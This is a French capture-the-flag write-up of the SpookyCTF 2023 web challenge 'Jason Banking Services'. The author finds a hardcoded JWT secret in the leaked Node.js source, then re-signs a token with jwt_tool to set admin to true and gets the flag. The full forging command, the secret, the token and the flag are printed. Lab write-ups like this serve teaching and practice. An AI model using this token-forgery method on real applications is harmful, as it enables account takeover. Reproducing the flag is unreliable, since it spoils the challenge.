SpookyCTF 2023 - Jason Banking Services
Introduction
Le 28/10/2023 j’ai pu participer au SpookyCTF2023 avec mon équipe Pand’hack. Nous avons fini 38ème sur 372 équipes avec 5557 points. Je vais vous présenter la solution au challenge Jasons Baking Services dans la catégorie Web.
Description du challenge
Hey intern ! We were able to swipe Jasons application from Github, see if you can find anything useful in the code that will allow you to exploit the real application.
(Be ready to be flash-banged, the web-app is all white!)
Analyse
Nous avons accès aux sources de l’appli web (nodejs) :
drwxrwxrwx 1 neaje neaje 4096 Oct 29 16:45 assets |
En allant sur le lien du challenge nous arrivons directement sur une page de login :
Je cherche donc dans les sources la fonction de login.
Dans le server.js
nous pouvons voir qu’il n’y a aucune route de définie et que toutes les routes sont dans server/routes/router
:
app.use('/', require('./server/routes/router')) |
Je me rends donc sur le fichier route.js
:
const controller = require('../controller/controller'); |
Je remarque pour accéder au flag, il faut valider cette condition : if (req.user.admin == true) {
.
Je continue mon analyse et je me rends sur le fichier controller/controller.js
qui gère l’authentification.
Je remarque que je peux me register sans aucun souci et je remarque également qu’une fois connecté, je reçois un JWT :
const accessToken = generateAccessToken(user) |
La fonction generateAccessToken
est définie un peu plus bas dans le fichier controller.js
:
function generateAccessToken(user) { |
Le JWT est singé avec une clé secrète récupérée en variable d’environnement :
require('dotenv').config() |
Je retourne sur le fichier server.js
pour retrouver la définition de cette variable d’environnement :
dotenv.config({ path: 'config.env' }) |
Dans le fichier config.env
nous avons bien la clé secrète qui signe le JWT :
SECRET=y5ABWPpr76vyLjWxZQZvxpFZuprCwAZa6HhWaaDgS7WBEbzWWceuAe45htGLa |
J’ai donc toutes les informations pour exploit ce challenge.
Exploit
Register
Je commence par me créer un utilisateur et récupérer le JWT de celui-ci :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoibmVhamUiLCJhdXRob3JpemVkIjp0cnVlLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY5ODU5Nzg3OSwiZXhwIjoxNjk4NTk4MTc5fQ.-MPgTLYEXqCrasltxpF16ahBKo_yWTAaCutP-m4IC0E |
Tamper du JWT
Ensuite je tamper mon JWT avec jwt_tools :
python3.11 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoibmVhamUiLCJhdXRob3JpemVkIjp0cnVlLCJhZG1pbiI6ZmFsc2UsImlhdCI6MTY5ODU5Nzg3OSwiZXhwIjoxNjk4NTk4MTc5fQ.-MPgTLYEXqCrasltxpF16ahBKo_yWTAaCutP-m4IC0E -T -S hs256 -p y5ABWPpr76vyLjWxZQZvxpFZuprCwAZa6HhWaaDgS7WBEbzWWceuAe45htGLa |
J’insère ensuite le nouveau JWT dans mes cookies et j’accède à /flag
NICC{jWoT_tOkeNs_nEed_saf3_secr3ts}